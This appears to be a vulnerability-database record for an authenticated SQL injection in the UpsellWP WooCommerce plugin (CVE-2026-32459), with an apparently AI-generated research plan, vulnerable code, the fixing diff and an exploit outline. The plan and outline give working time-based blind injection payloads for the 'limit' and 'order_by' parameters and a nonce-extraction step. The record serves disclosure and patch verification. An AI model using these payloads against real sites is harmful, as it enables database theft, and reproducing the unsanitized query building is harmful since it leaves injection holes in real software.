[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fzZpfiBBziv_VOZZSfVrJPTsRJiSkOQYzg6poY9jCZg0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-32459","upsellwp-woocommerce-upsell-and-related-products-offers-authenticated-shop-manager-sql-injection","UpsellWP – WooCommerce Upsell and Related Products Offers \u003C= 2.2.4 - Authenticated (Shop manager+) SQL Injection","The UpsellWP – WooCommerce Upsell and Related Products Offers plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.2.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","checkout-upsell-and-order-bumps",null,"\u003C=2.2.4","2.2.5","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-14 00:00:00","2026-03-19 14:56:21",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F19cff824-7fb7-4b60-bfc4-2157c9ecb0bf?source=api-prod",6,[22,23,24,25,26,27,28],"app\u002FModels\u002FModel.php","checkout-upsell-and-order-bumps.php","i18n\u002Flanguages\u002Fcheckout-upsell-and-order-bumps.pot","readme.txt","vendor\u002Fautoload.php","vendor\u002Fcomposer\u002Fautoload_real.php","vendor\u002Fcomposer\u002Fautoload_static.php","researched",false,3,"This vulnerability is a classic case of **SQL Injection** in the database abstraction layer of a WordPress plugin. The `CUW\\App\\Models\\Model` class provides helper methods for building SQL queries that fail to properly sanitize or prepare clauses for `ORDER BY`, `LIMIT`, and `OFFSET`.\n\n### 1. Vulnerability Summary\nThe `UpsellWP` plugin uses a base `Model` class (`app\u002FModels\u002FModel.php`) to handle database interactions. The method `prepareSelectQuery()` constructs SQL strings by concatenating user-supplied values from an `$args` array directly into the query. Specifically, the `order_by`, `limit`, and `offset` keys in the `$args` array are appended to the query string without using `$wpdb->prepare()` or type-casting (like `intval()`). This allows an authenticated user with \"Shop Manager\" or \"Administrator\" privileges to inject arbitrary SQL.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **Action:** `cuw_admin_ajax` (Inferred from the plugin's `cuw_` prefix and standard Flycart AJAX routing patterns).\n*   **Method\u002FRoute:** The AJAX dispatcher likely routes requests to a controller method (e.g., `get_campaigns`) that calls a Model's `getRows()` method.\n*   **Vulnerable Parameter:** Parameters mapped to `$args['order_by']`, `$args['limit']`, or `$args['offset']`.\n*   **Authentication:** Authenticated, Shop Manager level or higher.\n*   **Preconditions:** At least one record (e.g., a Campaign) must exist in the database for the query to execute and reflect time-based changes.\n\n### 3. Code Flow\n1.  **Entry Point:** An AJAX request is sent to `admin-ajax.php` with `action=cuw_admin_ajax`.\n2.  **Controller:** The dispatcher (likely in `app\u002FControllers\u002FAdmin\u002FAjax.php`) receives the request.\n3.  **Model Call:** The controller calls a method like `CUW\\App\\Models\\Campaign::getRows($where, $where_format, $columns, $args)`.\n4.  **Vulnerable Sink:** `getRows` calls `prepareSelectQuery($where, $where_format, $columns, $args)` in `app\u002FModels\u002FModel.php`.\n5.  **Injection Site:**\n    *   Line 241: `$query .= \" ORDER BY \\`$order_by\\` $sort\";` (Injects by breaking out of backticks).\n    *   Line 245: `$query .= \" LIMIT $limit\";` (Direct concatenation).\n    *   Line 250: `$query .= \" OFFSET $offset\";` (Direct concatenation).\n\n### 4. Nonce Acquisition Strategy\nThe plugin enqueues its admin scripts and localizes data including a security nonce.\n1.  **Identify Page:** The main plugin page is likely `wp-admin\u002Fadmin.php?page=checkout-upsell-and-order-bumps`.\n2.  **Navigation:** Use `browser_navigate` to this URL while logged in as a Shop Manager.\n3.  **Extraction:** The nonce is typically stored in a global JS object. Based on common Flycart patterns, the variable is likely `cuw_admin_params` or `cuw_vars`.\n4.  **Agent Command:**\n    ```javascript\n    browser_eval(\"window.cuw_admin_params?.ajax_nonce || window.cuw_vars?.nonce\")\n    ```\n\n### 5. Exploitation Strategy\nWe will use a **Time-Based Blind SQL Injection** targeting the `limit` parameter, as it is concatenated directly without any wrapping characters.\n\n*   **Request Type:** POST\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body (URL-encoded):**\n    ```text\n    action=cuw_admin_ajax\n    method=get_campaigns\n    nonce=[EXTRACTED_NONCE]\n    limit=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\n    ```\n*   **Alternative Body (using `order_by`):**\n    ```text\n    action=cuw_admin_ajax\n    method=get_campaigns\n    nonce=[EXTRACTED_NONCE]\n    order_by=id`,(SELECT 1 FROM (SELECT SLEEP(5))a)-- -\n    ```\n    *Resulting Query:* `SELECT * FROM ... ORDER BY `id`,(SELECT 1 FROM (SELECT SLEEP(5))a)-- -` ASC`\n\n### 6. Test Data Setup\n1.  **User:** Create a user with the `shop_manager` role.\n2.  **Plugin Setup:** Ensure WooCommerce is active (dependency).\n3.  **Content:** Create at least one campaign via the UpsellWP dashboard to ensure the `getRows` query has a target table and data.\n    *   `wp post create --post_type=cuw_campaign --post_title=\"Test Campaign\" --post_status=publish` (Note: Check the actual post type name if this fails, likely `cuw_campaign` or stored in a custom table `wp_cuw_campaigns`).\n\n### 7. Expected Results\n*   **Normal Request:** The server responds promptly (e.g., \u003C 200ms).\n*   **Exploit Request:** The server response is delayed by exactly 5 seconds.\n*   **Error-Based (Optional):** If `WP_DEBUG` is on, providing a payload like `limit=1' ERROR` might return a database error string in the response.\n\n### 8. Verification Steps\nAfter performing the time-based injection, use `wp db query` to confirm the structure of the plugin's tables:\n1.  Check for custom tables: `wp db query \"SHOW TABLES LIKE '%cuw_%'\"`\n2.  Verify content: `wp db query \"SELECT COUNT(*) FROM wp_cuw_campaigns\"` (or relevant table).\n3.  Confirm the vulnerability by manually running a similar query via CLI to ensure the syntax matches the injection hypothesis.\n\n### 9. Alternative Approaches\nIf `get_campaigns` is not the correct method name:\n1.  Check the browser Network tab while interacting with the plugin's dashboard to see the exact `method` or `route` parameter sent in AJAX requests.\n2.  Search for other Model usages:\n    ```bash\n    grep -rn \"getRows\" app\u002FControllers\u002F\n    ```\n3.  If time-based is unstable, try boolean-based by changing the `limit` to `1` (True) vs `0` (False\u002FNo results).","The UpsellWP plugin for WordPress is vulnerable to SQL Injection because its base Model class concatenates user-supplied parameters directly into SQL queries without sanitization or using prepared statements. Authenticated attackers with Shop Manager privileges can exploit this to inject arbitrary SQL commands via order_by, limit, or offset parameters to extract sensitive information from the database.","\u002F\u002F app\u002FModels\u002FModel.php\n\n            if (isset($args['order_by'])) {\n                $order_by = $args['order_by'];\n                $sort = 'ASC';\n                if (isset($args['sort']) && strtoupper($args['sort']) == 'DESC') {\n                    $sort = 'DESC';\n                }\n                $query .= \" ORDER BY `$order_by` $sort\";\n            }\n\n            if (isset($args['limit'])) {\n                $limit = $args['limit'];\n                $query .= \" LIMIT $limit\";\n            }\n\n            if (isset($args['offset'])) {\n                $offset = $args['offset'];\n                $query .= \" OFFSET $offset\";\n            }","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcheckout-upsell-and-order-bumps\u002F2.2.3\u002Fapp\u002FModels\u002FModel.php\t2024-03-12 11:04:02.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcheckout-upsell-and-order-bumps\u002F2.2.5\u002Fapp\u002FModels\u002FModel.php\t2026-02-26 12:10:34.000000000 +0000\n@@ -239,22 +239,29 @@\n             }\n \n             if (isset($args['order_by'])) {\n-                $order_by = $args['order_by'];\n+                $order_by = sanitize_key($args['order_by']);\n                 $sort = 'ASC';\n                 if (isset($args['sort']) && strtoupper($args['sort']) == 'DESC') {\n                     $sort = 'DESC';\n                 }\n-                $query .= \" ORDER BY `$order_by` $sort\";\n+                \u002F\u002F Validate order_by field contains only alphanumeric characters, underscores, and hyphens\n+                if (preg_match('\u002F^[a-zA-Z0-9_-]+$\u002F', $order_by)) {\n+                    $query .= \" ORDER BY `$order_by` $sort\";\n+                }\n             }\n \n             if (isset($args['limit'])) {\n-                $limit = $args['limit'];\n-                $query .= \" LIMIT $limit\";\n+                $limit = absint($args['limit']);\n+                if ($limit > 0) {\n+                    $query .= \" LIMIT $limit\";\n+                }\n             }\n \n             if (isset($args['offset'])) {\n-                $offset = $args['offset'];\n-                $query .= \" OFFSET $offset\";\n+                $offset = absint($args['offset']);\n+                if ($offset >= 0) {\n+                    $query .= \" OFFSET $offset\";\n+                }\n             }\n         }","The exploit targets the `cuw_admin_ajax` AJAX action, which routes requests to controller methods that utilize the vulnerable `Model` class. An attacker needs Shop Manager or Administrator authentication.\n\n1.  **Preparation**: Create at least one 'Campaign' in the plugin dashboard to ensure database records exist for query results.\n2.  **Nonce Retrieval**: Authenticate as a Shop Manager and navigate to the plugin's admin page to extract the security nonce (likely stored in the `cuw_admin_params` JavaScript object).\n3.  **Payload Injection**: Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the following parameters:\n    - `action`: `cuw_admin_ajax`\n    - `method`: `get_campaigns` (or another method calling `getRows`)\n    - `nonce`: [EXTRACTED_NONCE]\n    - `limit`: `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n4.  **Verification**: A successful exploit is confirmed if the server response is delayed by approximately 5 seconds, indicating the `SLEEP()` command was executed by the database engine.","gemini-3-flash-preview","2026-04-18 03:45:41","2026-04-18 03:46:08",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.2.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcheckout-upsell-and-order-bumps\u002Ftags\u002F2.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcheckout-upsell-and-order-bumps.2.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcheckout-upsell-and-order-bumps\u002Ftags\u002F2.2.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcheckout-upsell-and-order-bumps.2.2.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcheckout-upsell-and-order-bumps\u002Ftags"]